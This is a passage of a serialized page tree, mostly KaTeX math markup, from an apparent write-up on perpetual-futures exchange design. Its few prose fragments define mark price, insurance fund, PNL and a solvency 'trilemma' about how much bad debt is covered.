type":24,"tag":90,"props":164630,"children":164632},{"className":164631},[6396,23384,6445],[164633],{"type":29,"value":6123},{"type":24,"tag":90,"props":164635,"children":164637},{"style":164636},"top:-3.05em;",[164638,164642],{"type":24,"tag":90,"props":164639,"children":164641},{"className":164640,"style":164623},[6436],[],{"type":24,"tag":90,"props":164643,"children":164644},{},[164645],{"type":24,"tag":90,"props":164646,"children":164649},{"className":164647},[23420,23425,164648],"large-op",[164650],{"type":29,"value":110672},{"type":24,"tag":90,"props":164652,"children":164654},{"className":164653},[23541],[164655],{"type":29,"value":23544},{"type":24,"tag":90,"props":164657,"children":164659},{"className":164658},[6422],[164660],{"type":24,"tag":90,"props":164661,"children":164664},{"className":164662,"style":164663},[6427],"height:1.2777em;",[164665],{"type":24,"tag":90,"props":164666,"children":164667},{},[],{"type":24,"tag":90,"props":164669,"children":164671},{"className":164670,"style":6514},[6475],[],{"type":24,"tag":90,"props":164673,"children":164675},{"className":164674},[6396],[164676,164681],{"type":24,"tag":90,"props":164677,"children":164679},{"className":164678},[6396,23384],[164680],{"type":29,"value":21070},{"type":24,"tag":90,"props":164682,"children":164684},{"className":164683},[6412],[164685],{"type":24,"tag":90,"props":164686,"children":164688},{"className":164687},[6417,23438],[164689,164718],{"type":24,"tag":90,"props":164690,"children":164692},{"className":164691},[6422],[164693,164713],{"type":24,"tag":90,"props":164694,"children":164696},{"className":164695,"style":95406},[6427],[164697],{"type":24,"tag":90,"props":164698,"children":164699},{"style":94933},[164700,164704],{"type":24,"tag":90,"props":164701,"children":164703},{"className":164702,"style":6437},[6436],[],{"type":24,"tag":90,"props":164705,"children":164707},{"className":164706},[6442,6443,6444,6445],[164708],{"type":24,"tag":90,"props":164709,"children":164711},{"className":164710},[6396,23384,6445],[164712],{"type":29,"value":6123},{"type":24,"tag":90,"props":164714,"children":164716},{"className":164715},[23541],[164717],{"type":29,"value":23544},{"type":24,"tag":90,"props":164719,"children":164721},{"className":164720},[6422],[164722],{"type":24,"tag":90,"props":164723,"children":164725},{"className":164724,"style":94960},[6427],[164726],{"type":24,"tag":90,"props":164727,"children":164728},{},[],{"type":24,"tag":90,"props":164730,"children":164731},{"style":163345},[164732,164736],{"type":24,"tag":90,"props":164733,"children":164735},{"className":164734,"style":162777},[6436],[],{"type":24,"tag":90,"props":164737,"children":164739},{"className":164738},[6396],[164740,164744,164748,164753,164757,164820,164824,164829,164834,164839,164896,164901,164905,164909,164914],{"type":24,"tag":90,"props":164741,"children":164743},{"className":164742},[6396],[],{"type":24,"tag":90,"props":164745,"children":164747},{"className":164746,"style":6573},[6475],[],{"type":24,"tag":90,"props":164749,"children":164751},{"className":164750},[6578],[164752],{"type":29,"value":5491},{"type":24,"tag":90,"props":164754,"children":164756},{"className":164755,"style":6573},[6475],[],{"type":24,"tag":90,"props":164758,"children":164760},{"className":164759},[23420,164601],[164761],{"type":24,"tag":90,"props":164762,"children":164764},{"className":164763},[6417,23438],[164765,164809],{"type":24,"tag":90,"props":164766,"children":164768},{"className":164767},[6422],[164769,164804],{"type":24,"tag":90,"props":164770,"children":164772},{"className":164771,"style":164614},[6427],[164773,164789],{"type":24,"tag":90,"props":164774,"children":164775},{"style":164618},[164776,164780],{"type":24,"tag":90,"props":164777,"children":164779},{"className":164778,"style":164623},[6436],[],{"type":24,"tag":90,"props":164781,"children":164783},{"className":164782},[6442,6443,6444,6445],[164784],{"type":24,"tag":90,"props":164785,"children":164787},{"className":164786},[6396,23384,6445],[164788],{"type":29,"value":6123},{"type":24,"tag":90,"props":164790,"children":164791},{"style":164636},[164792,164796],{"type":24,"tag":90,"props":164793,"children":164795},{"className":164794,"style":164623},[6436],[],{"type":24,"tag":90,"props":164797,"children":164798},{},[164799],{"type":24,"tag":90,"props":164800,"children":164802},{"className":164801},[23420,23425,164648],[164803],{"type":29,"value":110672},{"type":24,"tag":90,"props":164805,"children":164807},{"className":164806},[23541],[164808],{"type":29,"value":23544},{"type":24,"tag":90,"props":164810,"children":164812},{"className":164811},[6422],[164813],{"type":24,"tag":90,"props":164814,"children":164816},{"className":164815,"style":164663},[6427],[164817],{"type":24,"tag":90,"props":164818,"children":164819},{},[],{"type":24,"tag":90,"props":164821,"children":164823},{"className":164822,"style":6514},[6475],[],{"type":24,"tag":90,"props":164825,"children":164827},{"className":164826},[23420],[164828],{"type":29,"value":162491},{"type":24,"tag":90,"props":164830,"children":164832},{"className":164831},[23513],[164833],{"type":29,"value":117},{"type":24,"tag":90,"props":164835,"children":164837},{"className":164836},[6396],[164838],{"type":29,"value":6456},{"type":24,"tag":90,"props":164840,"children":164842},{"className":164841},[6396],[164843,164848],{"type":24,"tag":90,"props":164844,"children":164846},{"className":164845},[6396,23384],[164847],{"type":29,"value":53278},{"type":24,"tag":90,"props":164849,"children":164851},{"className":164850},[6412],[164852],{"type":24,"tag":90,"props":164853,"children":164855},{"className":164854},[6417,23438],[164856,164885],{"type":24,"tag":90,"props":164857,"children":164859},{"className":164858},[6422],[164860,164880],{"type":24,"tag":90,"props":164861,"children":164863},{"className":164862,"style":95406},[6427],[164864],{"type":24,"tag":90,"props":164865,"children":164866},{"style":94933},[164867,164871],{"type":24,"tag":90,"props":164868,"children":164870},{"className":164869,"style":6437},[6436],[],{"type":24,"tag":90,"props":164872,"children":164874},{"className":164873},[6442,6443,6444,6445],[164875],{"type":24,"tag":90,"props":164876,"children":164878},{"className":164877},[6396,23384,6445],[164879],{"type":29,"value":6123},{"type":24,"tag":90,"props":164881,"children":164883},{"className":164882},[23541],[164884],{"type":29,"value":23544},{"type":24,"tag":90,"props":164886,"children":164888},{"className":164887},[6422],[164889],{"type":24,"tag":90,"props":164890,"children":164892},{"className":164891,"style":94960},[6427],[164893],{"type":24,"tag":90,"props":164894,"children":164895},{},[],{"type":24,"tag":90,"props":164897,"children":164899},{"className":164898},[6507],[164900],{"type":29,"value":6510},{"type":24,"tag":90,"props":164902,"children":164904},{"className":164903,"style":6514},[6475],[],{"type":24,"tag":90,"props":164906,"children":164908},{"className":164907,"style":6514},[6475],[],{"type":24,"tag":90,"props":164910,"children":164912},{"className":164911},[6396],[164913],{"type":29,"value":6408},{"type":24,"tag":90,"props":164915,"children":164917},{"className":164916},[23535],[164918],{"type":29,"value":517},{"type":24,"tag":90,"props":164920,"children":164921},{"style":163415},[164922,164926],{"type":24,"tag":90,"props":164923,"children":164925},{"className":164924,"style":162777},[6436],[],{"type":24,"tag":90,"props":164927,"children":164929},{"className":164928},[6396],[164930,164934,164938,164943,164947,165010,165014],{"type":24,"tag":90,"props":164931,"children":164933},{"className":164932},[6396],[],{"type":24,"tag":90,"props":164935,"children":164937},{"className":164936,"style":6573},[6475],[],{"type":24,"tag":90,"props":164939,"children":164941},{"className":164940},[6578],[164942],{"type":29,"value":5491},{"type":24,"tag":90,"props":164944,"children":164946},{"className":164945,"style":6573},[6475],[],{"type":24,"tag":90,"props":164948,"children":164950},{"className":164949},[23420,164601],[164951],{"type":24,"tag":90,"props":164952,"children":164954},{"className":164953},[6417,23438],[164955,164999],{"type":24,"tag":90,"props":164956,"children":164958},{"className":164957},[6422],[164959,164994],{"type":24,"tag":90,"props":164960,"children":164962},{"className":164961,"style":164614},[6427],[164963,164979],{"type":24,"tag":90,"props":164964,"children":164965},{"style":164618},[164966,164970],{"type":24,"tag":90,"props":164967,"children":164969},{"className":164968,"style":164623},[6436],[],{"type":24,"tag":90,"props":164971,"children":164973},{"className":164972},[6442,6443,6444,6445],[164974],{"type":24,"tag":90,"props":164975,"children":164977},{"className":164976},[6396,23384,6445],[164978],{"type":29,"value":6123},{"type":24,"tag":90,"props":164980,"children":164981},{"style":164636},[164982,164986],{"type":24,"tag":90,"props":164983,"children":164985},{"className":164984,"style":164623},[6436],[],{"type":24,"tag":90,"props":164987,"children":164988},{},[164989],{"type":24,"tag":90,"props":164990,"children":164992},{"className":164991},[23420,23425,164648],[164993],{"type":29,"value":110672},{"type":24,"tag":90,"props":164995,"children":164997},{"className":164996},[23541],[164998],{"type":29,"value":23544},{"type":24,"tag":90,"props":165000,"children":165002},{"className":165001},[6422],[165003],{"type":24,"tag":90,"props":165004,"children":165006},{"className":165005,"style":164663},[6427],[165007],{"type":24,"tag":90,"props":165008,"children":165009},{},[],{"type":24,"tag":90,"props":165011,"children":165013},{"className":165012,"style":6514},[6475],[],{"type":24,"tag":90,"props":165015,"children":165017},{"className":165016},[6396],[165018,165023],{"type":24,"tag":90,"props":165019,"children":165021},{"className":165020,"style":124157},[6396,23384],[165022],{"type":29,"value":51395},{"type":24,"tag":90,"props":165024,"children":165026},{"className":165025},[6412],[165027],{"type":24,"tag":90,"props":165028,"children":165030},{"className":165029},[6417,23438],[165031,165060],{"type":24,"tag":90,"props":165032,"children":165034},{"className":165033},[6422],[165035,165055],{"type":24,"tag":90,"props":165036,"children":165038},{"className":165037,"style":95406},[6427],[165039],{"type":24,"tag":90,"props":165040,"children":165041},{"style":163105},[165042,165046],{"type":24,"tag":90,"props":165043,"children":165045},{"className":165044,"style":6437},[6436],[],{"type":24,"tag":90,"props":165047,"children":165049},{"className":165048},[6442,6443,6444,6445],[165050],{"type":24,"tag":90,"props":165051,"children":165053},{"className":165052},[6396,23384,6445],[165054],{"type":29,"value":6123},{"type":24,"tag":90,"props":165056,"children":165058},{"className":165057},[23541],[165059],{"type":29,"value":23544},{"type":24,"tag":90,"props":165061,"children":165063},{"className":165062},[6422],[165064],{"type":24,"tag":90,"props":165065,"children":165067},{"className":165066,"style":94960},[6427],[165068],{"type":24,"tag":90,"props":165069,"children":165070},{},[],{"type":24,"tag":90,"props":165072,"children":165073},{"style":163486},[165074,165078],{"type":24,"tag":90,"props":165075,"children":165077},{"className":165076,"style":162777},[6436],[],{"type":24,"tag":90,"props":165079,"children":165081},{"className":165080},[6396],[165082,165086,165090,165095,165099,165104,165109,165166,165170,165175,165179,165184,165188,165193,165197,165254,165259,165263,165267,165272],{"type":24,"tag":90,"props":165083,"children":165085},{"className":165084},[6396],[],{"type":24,"tag":90,"props":165087,"children":165089},{"className":165088,"style":6573},[6475],[],{"type":24,"tag":90,"props":165091,"children":165093},{"className":165092},[6578],[165094],{"type":29,"value":5491},{"type":24,"tag":90,"props":165096,"children":165098},{"className":165097,"style":6573},[6475],[],{"type":24,"tag":90,"props":165100,"children":165102},{"className":165101},[23420],[165103],{"type":29,"value":162491},{"type":24,"tag":90,"props":165105,"children":165107},{"className":165106},[23513],[165108],{"type":29,"value":117},{"type":24,"tag":90,"props":165110,"children":165112},{"className":165111},[6396],[165113,165118],{"type":24,"tag":90,"props":165114,"children":165116},{"className":165115,"style":94877},[6396,23384],[165117],{"type":29,"value":163364},{"type":24,"tag":90,"props":165119,"children":165121},{"className":165120},[6412],[165122],{"type":24,"tag":90,"props":165123,"children":165125},{"className":165124},[6417,23438],[165126,165155],{"type":24,"tag":90,"props":165127,"children":165129},{"className":165128},[6422],[165130,165150],{"type":24,"tag":90,"props":165131,"children":165133},{"className":165132,"style":144432},[6427],[165134],{"type":24,"tag":90,"props":165135,"children":165136},{"style":111876},[165137,165141],{"type":24,"tag":90,"props":165138,"children":165140},{"className":165139,"style":6437},[6436],[],{"type":24,"tag":90,"props":165142,"children":165144},{"className":165143},[6442,6443,6444,6445],[165145],{"type":24,"tag":90,"props":165146,"children":165148},{"className":165147,"style":23385},[6396,23384,6445],[165149],{"type":29,"value":1960},{"type":24,"tag":90,"props":165151,"children":165153},{"className":165152},[23541],[165154],{"type":29,"value":23544},{"type":24,"tag":90,"props":165156,"children":165158},{"className":165157},[6422],[165159],{"type":24,"tag":90,"props":165160,"children":165162},{"className":165161,"style":94960},[6427],[165163],{"type":24,"tag":90,"props":165164,"children":165165},{},[],{"type":24,"tag":90,"props":165167,"children":165169},{"className":165168,"style":6476},[6475],[],{"type":24,"tag":90,"props":165171,"children":165173},{"className":165172},[6481],[165174],{"type":29,"value":6456},{"type":24,"tag":90,"props":165176,"children":165178},{"className":165177,"style":6476},[6475],[],{"type":24,"tag":90,"props":165180,"children":165182},{"className":165181,"style":96897},[6396,23384],[165183],{"type":29,"value":96931},{"type":24,"tag":90,"props":165185,"children":165187},{"className":165186,"style":6476},[6475],[],{"type":24,"tag":90,"props":165189,"children":165191},{"className":165190},[6481],[165192],{"type":29,"value":6456},{"type":24,"tag":90,"props":165194,"children":165196},{"className":165195,"style":6476},[6475],[],{"type":24,"tag":90,"props":165198,"children":165200},{"className":165199},[6396],[165201,165206],{"type":24,"tag":90,"props":165202,"children":165204},{"className":165203,"style":95111},[6396,23384],[165205],{"type":29,"value":95114},{"type":24,"tag":90,"props":165207,"children":165209},{"className":165208},[6412],[165210],{"type":24,"tag":90,"props":165211,"children":165213},{"className":165212},[6417,23438],[165214,165243],{"type":24,"tag":90,"props":165215,"children":165217},{"className":165216},[6422],[165218,165238],{"type":24,"tag":90,"props":165219,"children":165221},{"className":165220,"style":144432},[6427],[165222],{"type":24,"tag":90,"props":165223,"children":165224},{"style":112306},[165225,165229],{"type":24,"tag":90,"props":165226,"children":165228},{"className":165227,"style":6437},[6436],[],{"type":24,"tag":90,"props":165230,"children":165232},{"className":165231},[6442,6443,6444,6445],[165233],{"type":24,"tag":90,"props":165234,"children":165236},{"className":165235,"style":23385},[6396,23384,6445],[165237],{"type":29,"value":1960},{"type":24,"tag":90,"props":165239,"children":165241},{"className":165240},[23541],[165242],{"type":29,"value":23544},{"type":24,"tag":90,"props":165244,"children":165246},{"className":165245},[6422],[165247],{"type":24,"tag":90,"props":165248,"children":165250},{"className":165249,"style":94960},[6427],[165251],{"type":24,"tag":90,"props":165252,"children":165253},{},[],{"type":24,"tag":90,"props":165255,"children":165257},{"className":165256},[6507],[165258],{"type":29,"value":6510},{"type":24,"tag":90,"props":165260,"children":165262},{"className":165261,"style":6514},[6475],[],{"type":24,"tag":90,"props":165264,"children":165266},{"className":165265,"style":6514},[6475],[],{"type":24,"tag":90,"props":165268,"children":165270},{"className":165269},[6396],[165271],{"type":29,"value":6408},{"type":24,"tag":90,"props":165273,"children":165275},{"className":165274},[23535],[165276],{"type":29,"value":517},{"type":24,"tag":90,"props":165278,"children":165280},{"className":165279},[23541],[165281],{"type":29,"value":23544},{"type":24,"tag":90,"props":165283,"children":165285},{"className":165284},[6422],[165286],{"type":24,"tag":90,"props":165287,"children":165289},{"className":165288,"style":163567},[6427],[165290],{"type":24,"tag":90,"props":165291,"children":165292},{},[],{"type":24,"tag":25,"props":165294,"children":165295},{},[165296,165297,165374,165376,165401,165403,165480,165482,165559],{"type":29,"value":117},{"type":24,"tag":32,"props":165298,"children":165300},{"className":165299},[6368,6369],[165301],{"type":24,"tag":90,"props":165302,"children":165304},{"className":165303},[6374],[165305],{"type":24,"tag":90,"props":165306,"children":165308},{"className":165307,"ariaHidden":6380},[6379],[165309],{"type":24,"tag":90,"props":165310,"children":165312},{"className":165311},[6385],[165313,165317],{"type":24,"tag":90,"props":165314,"children":165316},{"className":165315,"style":112874},[6390],[],{"type":24,"tag":90,"props":165318,"children":165320},{"className":165319},[6396],[165321,165326],{"type":24,"tag":90,"props":165322,"children":165324},{"className":165323,"style":23385},[6396,23384],[165325],{"type":29,"value":23388},{"type":24,"tag":90,"props":165327,"children":165329},{"className":165328},[6412],[165330],{"type":24,"tag":90,"props":165331,"children":165333},{"className":165332},[6417,23438],[165334,165363],{"type":24,"tag":90,"props":165335,"children":165337},{"className":165336},[6422],[165338,165358],{"type":24,"tag":90,"props":165339,"children":165341},{"className":165340,"style":111309},[6427],[165342],{"type":24,"tag":90,"props":165343,"children":165344},{"style":162810},[165345,165349],{"type":24,"tag":90,"props":165346,"children":165348},{"className":165347,"style":6437},[6436],[],{"type":24,"tag":90,"props":165350,"children":165352},{"className":165351},[6442,6443,6444,6445],[165353],{"type":24,"tag":90,"props":165354,"children":165356},{"className":165355},[6396,23384,6445],[165357],{"type":29,"value":58228},{"type":24,"tag":90,"props":165359,"children":165361},{"className":165360},[23541],[165362],{"type":29,"value":23544},{"type":24,"tag":90,"props":165364,"children":165366},{"className":165365},[6422],[165367],{"type":24,"tag":90,"props":165368,"children":165370},{"className":165369,"style":94960},[6427],[165371],{"type":24,"tag":90,"props":165372,"children":165373},{},[],{"type":29,"value":165375},": mark price from different sources; ",{"type":24,"tag":32,"props":165377,"children":165379},{"className":165378},[6368,6369],[165380],{"type":24,"tag":90,"props":165381,"children":165383},{"className":165382},[6374],[165384],{"type":24,"tag":90,"props":165385,"children":165387},{"className":165386,"ariaHidden":6380},[6379],[165388],{"type":24,"tag":90,"props":165389,"children":165391},{"className":165390},[6385],[165392,165396],{"type":24,"tag":90,"props":165393,"children":165395},{"className":165394,"style":23379},[6390],[],{"type":24,"tag":90,"props":165397,"children":165399},{"className":165398,"style":96897},[6396,23384],[165400],{"type":29,"value":96931},{"type":29,"value":165402},": insurance fund, roughly the 5M on testnet HL; ",{"type":24,"tag":32,"props":165404,"children":165406},{"className":165405},[6368,6369],[165407],{"type":24,"tag":90,"props":165408,"children":165410},{"className":165409},[6374],[165411],{"type":24,"tag":90,"props":165412,"children":165414},{"className":165413,"ariaHidden":6380},[6379],[165415],{"type":24,"tag":90,"props":165416,"children":165418},{"className":165417},[6385],[165419,165423],{"type":24,"tag":90,"props":165420,"children":165422},{"className":165421,"style":111847},[6390],[],{"type":24,"tag":90,"props":165424,"children":165426},{"className":165425},[6396],[165427,165432],{"type":24,"tag":90,"props":165428,"children":165430},{"className":165429,"style":95363},[6396,23384],[165431],{"type":29,"value":162948},{"type":24,"tag":90,"props":165433,"children":165435},{"className":165434},[6412],[165436],{"type":24,"tag":90,"props":165437,"children":165439},{"className":165438},[6417,23438],[165440,165469],{"type":24,"tag":90,"props":165441,"children":165443},{"className":165442},[6422],[165444,165464],{"type":24,"tag":90,"props":165445,"children":165447},{"className":165446,"style":95406},[6427],[165448],{"type":24,"tag":90,"props":165449,"children":165450},{"style":95410},[165451,165455],{"type":24,"tag":90,"props":165452,"children":165454},{"className":165453,"style":6437},[6436],[],{"type":24,"tag":90,"props":165456,"children":165458},{"className":165457},[6442,6443,6444,6445],[165459],{"type":24,"tag":90,"props":165460,"children":165462},{"className":165461},[6396,23384,6445],[165463],{"type":29,"value":6123},{"type":24,"tag":90,"props":165465,"children":165467},{"className":165466},[23541],[165468],{"type":29,"value":23544},{"type":24,"tag":90,"props":165470,"children":165472},{"className":165471},[6422],[165473],{"type":24,"tag":90,"props":165474,"children":165476},{"className":165475,"style":94960},[6427],[165477],{"type":24,"tag":90,"props":165478,"children":165479},{},[],{"type":29,"value":165481}," is PNL for longs, negated for shorts; ",{"type":24,"tag":32,"props":165483,"children":165485},{"className":165484},[6368,6369],[165486],{"type":24,"tag":90,"props":165487,"children":165489},{"className":165488},[6374],[165490],{"type":24,"tag":90,"props":165491,"children":165493},{"className":165492,"ariaHidden":6380},[6379],[165494],{"type":24,"tag":90,"props":165495,"children":165497},{"className":165496},[6385],[165498,165502],{"type":24,"tag":90,"props":165499,"children":165501},{"className":165500,"style":111847},[6390],[],{"type":24,"tag":90,"props":165503,"children":165505},{"className":165504},[6396],[165506,165511],{"type":24,"tag":90,"props":165507,"children":165509},{"className":165508,"style":124157},[6396,23384],[165510],{"type":29,"value":51395},{"type":24,"tag":90,"props":165512,"children":165514},{"className":165513},[6412],[165515],{"type":24,"tag":90,"props":165516,"children":165518},{"className":165517},[6417,23438],[165519,165548],{"type":24,"tag":90,"props":165520,"children":165522},{"className":165521},[6422],[165523,165543],{"type":24,"tag":90,"props":165524,"children":165526},{"className":165525,"style":95406},[6427],[165527],{"type":24,"tag":90,"props":165528,"children":165529},{"style":163105},[165530,165534],{"type":24,"tag":90,"props":165531,"children":165533},{"className":165532,"style":6437},[6436],[],{"type":24,"tag":90,"props":165535,"children":165537},{"className":165536},[6442,6443,6444,6445],[165538],{"type":24,"tag":90,"props":165539,"children":165541},{"className":165540},[6396,23384,6445],[165542],{"type":29,"value":6123},{"type":24,"tag":90,"props":165544,"children":165546},{"className":165545},[23541],[165547],{"type":29,"value":23544},{"type":24,"tag":90,"props":165549,"children":165551},{"className":165550},[6422],[165552],{"type":24,"tag":90,"props":165553,"children":165555},{"className":165554,"style":94960},[6427],[165556],{"type":24,"tag":90,"props":165557,"children":165558},{},[],{"type":29,"value":165560}," is the positive part of PNL.)",{"type":24,"tag":25,"props":165562,"children":165563},{},[165564],{"type":29,"value":165565},"And let's make the trilemma definitions concrete:",{"type":24,"tag":3207,"props":165567,"children":165568},{},[165569,166043,166607],{"type":24,"tag":3104,"props":165570,"children":165571},{},[165572,165576,165577,165831,165833,165884,165886,165989,165990,166041],{"type":24,"tag":842,"props":165573,"children":165574},{},[165575],{"type":29,"value":162689},{"type":29,"value":34725},{"type":24,"tag":32,"props":165578,"children":165580},{"className":165579},[6368,6369],[165581],{"type":24,"tag":90,"props":165582,"children":165584},{"className":165583},[6374],[165585],{"type":24,"tag":90,"props":165586,"children":165588},{"className":165587,"ariaHidden":6380},[6379],[165589,165616],{"type":24,"tag":90,"props":165590,"children":165592},{"className":165591},[6385],[165593,165598,165603,165607,165612],{"type":24,"tag":90,"props":165594,"children":165597},{"className":165595,"style":165596},[6390],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":24,"tag":90,"props":165599,"children":165601},{"className":165600},[6396],[165602],{"type":29,"value":534},{"type":24,"tag":90,"props":165604,"children":165606},{"className":165605,"style":6476},[6475],[],{"type":24,"tag":90,"props":165608,"children":165610},{"className":165609},[6481],[165611],{"type":29,"value":6456},{"type":24,"tag":90,"props":165613,"children":165615},{"className":165614,"style":6476},[6475],[],{"type":24,"tag":90,"props":165617,"children":165619},{"className":165618},[6385],[165620,165625],{"type":24,"tag":90,"props":165621,"children":165624},{"className":165622,"style":165623},[6390],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":24,"tag":90,"props":165626,"children":165628},{"className":165627},[6396],[165629,165633,165827],{"type":24,"tag":90,"props":165630,"children":165632},{"className":165631},[23513,115395],[],{"type":24,"tag":90,"props":165634,"children":165636},{"className":165635},[115400],[165637],{"type":24,"tag":90,"props":165638,"children":165640},{"className":165639},[6417,23438],[165641,165815],{"type":24,"tag":90,"props":165642,"children":165644},{"className":165643},[6422],[165645,165810],{"type":24,"tag":90,"props":165646,"children":165649},{"className":165647,"style":165648},[6427],"height:0.8884em;",[165650,165724,165735],{"type":24,"tag":90,"props":165651,"children":165652},{"style":115417},[165653,165657],{"type":24,"tag":90,"props":165654,"children":165656},{"className":165655,"style":114048},[6436],[],{"type":24,"tag":90,"props":165658,"children":165660},{"className":165659},[6442,6443,6444,6445],[165661],{"type":24,"tag":90,"props":165662,"children":165664},{"className":165663},[6396,6445],[165665],{"type":24,"tag":90,"props":165666,"children":165668},{"className":165667},[6396,6445],[165669,165674],{"type":24,"tag":90,"props":165670,"children":165672},{"className":165671,"style":94877},[6396,23384,6445],[165673],{"type":29,"value":163364},{"type":24,"tag":90,"props":165675,"children":165677},{"className":165676},[6412],[165678],{"type":24,"tag":90,"props":165679,"children":165681},{"className":165680},[6417,23438],[165682,165712],{"type":24,"tag":90,"props":165683,"children":165685},{"className":165684},[6422],[165686,165707],{"type":24,"tag":90,"props":165687,"children":165689},{"className":165688,"style":114209},[6427],[165690],{"type":24,"tag":90,"props":165691,"children":165693},{"style":165692},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[165694,165698],{"type":24,"tag":90,"props":165695,"children":165697},{"className":165696,"style":110737},[6436],[],{"type":24,"tag":90,"props":165699,"children":165701},{"className":165700},[6442,110742,110743,6445],[165702],{"type":24,"tag":90,"props":165703,"children":165705},{"className":165704,"style":23385},[6396,23384,6445],[165706],{"type":29,"value":1960},{"type":24,"tag":90,"props":165708,"children":165710},{"className":165709},[23541],[165711],{"type":29,"value":23544},{"type":24,"tag":90,"props":165713,"children":165715},{"className":165714},[6422],[165716],{"type":24,"tag":90,"props":165717,"children":165720},{"className":165718,"style":165719},[6427],"height:0.1433em;",[165721],{"type":24,"tag":90,"props":165722,"children":165723},{},[],{"type":24,"tag":90,"props":165725,"children":165726},{"style":115450},[165727,165731],{"type":24,"tag":90,"props":165728,"children":165730},{"className":165729,"style":114048},[6436],[],{"type":24,"tag":90,"props":165732,"children":165734},{"className":165733,"style":115460},[115459],[],{"type":24,"tag":90,"props":165736,"children":165738},{"style":165737},"top:-3.4101em;",[165739,165743],{"type":24,"tag":90,"props":165740,"children":165742},{"className":165741,"style":114048},[6436],[],{"type":24,"tag":90,"props":165744,"children":165746},{"className":165745},[6442,6443,6444,6445],[165747],{"type":24,"tag":90,"props":165748,"children":165750},{"className":165749},[6396,6445],[165751],{"type":24,"tag":90,"props":165752,"children":165754},{"className":165753},[6396,6445],[165755,165760],{"type":24,"tag":90,"props":165756,"children":165758},{"className":165757,"style":124654},[6396,23384,6445],[165759],{"type":29,"value":124657},{"type":24,"tag":90,"props":165761,"children":165763},{"className":165762},[6412],[165764],{"type":24,"tag":90,"props":165765,"children":165767},{"className":165766},[6417,23438],[165768,165799],{"type":24,"tag":90,"props":165769,"children":165771},{"className":165770},[6422],[165772,165794],{"type":24,"tag":90,"props":165773,"children":165776},{"className":165774,"style":165775},[6427],"height:0.2963em;",[165777],{"type":24,"tag":90,"props":165778,"children":165780},{"style":165779},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[165781,165785],{"type":24,"tag":90,"props":165782,"children":165784},{"className":165783,"style":110737},[6436],[],{"type":24,"tag":90,"props":165786,"children":165788},{"className":165787},[6442,110742,110743,6445],[165789],{"type":24,"tag":90,"props":165790,"children":165792},{"className":165791},[6396,23384,6445],[165793],{"type":29,"value":23526},{"type":24,"tag":90,"props":165795,"children":165797},{"className":165796},[23541],[165798],{"type":29,"value":23544},{"type":24,"tag":90,"props":165800,"children":165802},{"className":165801},[6422],[165803],{"type":24,"tag":90,"props":165804,"children":165806},{"className":165805,"style":110762},[6427],[165807],{"type":24,"tag":90,"props":165808,"children":165809},{},[],{"type":24,"tag":90,"props":165811,"children":165813},{"className":165812},[23541],[165814],{"type":29,"value":23544},{"type":24,"tag":90,"props":165816,"children":165818},{"className":165817},[6422],[165819],{"type":24,"tag":90,"props":165820,"children":165823},{"className":165821,"style":165822},[6427],"height:0.4453em;",[165824],{"type":24,"tag":90,"props":165825,"children":165826},{},[],{"type":24,"tag":90,"props":165828,"children":165830},{"className":165829},[23535,115395],[],{"type":29,"value":165832}," — how much of the total bad debt was actually covered. ",{"type":24,"tag":32,"props":165834,"children":165836},{"className":165835},[6368,6369],[165837],{"type":24,"tag":90,"props":165838,"children":165840},{"className":165839},[6374],[165841],{"type":24,"tag":90,"props":165842,"children":165844},{"className":165843,"ariaHidden":6380},[6379],[165845,165871],{"type":24,"tag":90,"props":165846,"children":165848},{"className":165847},[6385],[165849,165853,165858,165862,165867],{"type":24,"tag":90,"props":165850,"children":165852},{"className":165851,"style":23379},[6390],[],{"type":24,"tag":90,"props":165854,"children":165856},{"className":165855,"style":23843},[6396,23384],[165857],{"type":29,"value":23846},{"type":24,"tag":90,"props":165859,"children":165861},{"className":165860,"style":6573},[6475],[],{"type":24,"tag":90,"props":165863,"children":165865},{"className":165864},[6578],[165866],{"type":29,"value":5491},{"type":24,"tag":90,"props":165868,"children":165870},{"className":165869,"style":6573},[6475],[],{"type":24,"tag":90,"props":165872,"children":165874},{"className":165873},[6385],[165875,165879],{"type":24,"tag":90,"props":165876,"children":165878},{"className":165877,"style":95908},[6390],[],{"type":24,"tag":90,"props":165880,"children":165882},{"className":165881},[6396],[165883],{"type":29,"value":534},{"type":29,"value":165885}," means fully solvent (",{"type":24,"tag":32,"props":165887,"children":165889},{"className":165888},[6368,6369],[165890],{"type":24,"tag":90,"props":165891,"children":165893},{"className":165892},[6374],[165894],{"type":24,"tag":90,"props":165895,"children":165897},{"className":165896,"ariaHidden":6380},[6379],[165898,165976],{"type":24,"tag":90,"props":165899,"children":165901},{"className":165900},[6385],[165902,165906,165963,165967,165972],{"type":24,"tag":90,"props":165903,"children":165905},{"className":165904,"style":112874},[6390],[],{"type":24,"tag":90,"props":165907,"children":165909},{"className":165908},[6396],[165910,165915],{"type":24,"tag":90,"props":165911,"children":165913},{"className":165912,"style":124654},[6396,23384],[165914],{"type":29,"value":124657},{"type":24,"tag":90,"props":165916,"children":165918},{"className":165917},[6412],[165919],{"type":24,"tag":90,"props":165920,"children":165922},{"className":165921},[6417,23438],[165923,165952],{"type":24,"tag":90,"props":165924,"children":165926},{"className":165925},[6422],[165927,165947],{"type":24,"tag":90,"props":165928,"children":165930},{"className":165929,"style":163520},[6427],[165931],{"type":24,"tag":90,"props":165932,"children":165933},{"style":163524},[165934,165938],{"type":24,"tag":90,"props":165935,"children":165937},{"className":165936,"style":6437},[6436],[],{"type":24,"tag":90,"props":165939,"children":165941},{"className":165940},[6442,6443,6444,6445],[165942],{"type":24,"tag":90,"props":165943,"children":165945},{"className":165944},[6396,23384,6445],[165946],{"type":29,"value":23526},{"type":24,"tag":90,"props":165948,"children":165950},{"className":165949},[23541],[165951],{"type":29,"value":23544},{"type":24,"tag":90,"props":165953,"children":165955},{"className":165954},[6422],[165956],{"type":24,"tag":90,"props":165957,"children":165959},{"className":165958,"style":94960},[6427],[165960],{"type":24,"tag":90,"props":165961,"children":165962},{},[],{"type":24,"tag":90,"props":165964,"children":165966},{"className":165965,"style":6573},[6475],[],{"type":24,"tag":90,"props":165968,"children":165970},{"className":165969},[6578],[165971],{"type":29,"value":5491},{"type":24,"tag":90,"props":165973,"children":165975},{"className":165974,"style":6573},[6475],[],{"type":24,"tag":90,"props":165977,"children":165979},{"className":165978},[6385],[165980,165984],{"type":24,"tag":90,"props":165981,"children":165983},{"className":165982,"style":95908},[6390],[],{"type":24,"tag":90,"props":165985,"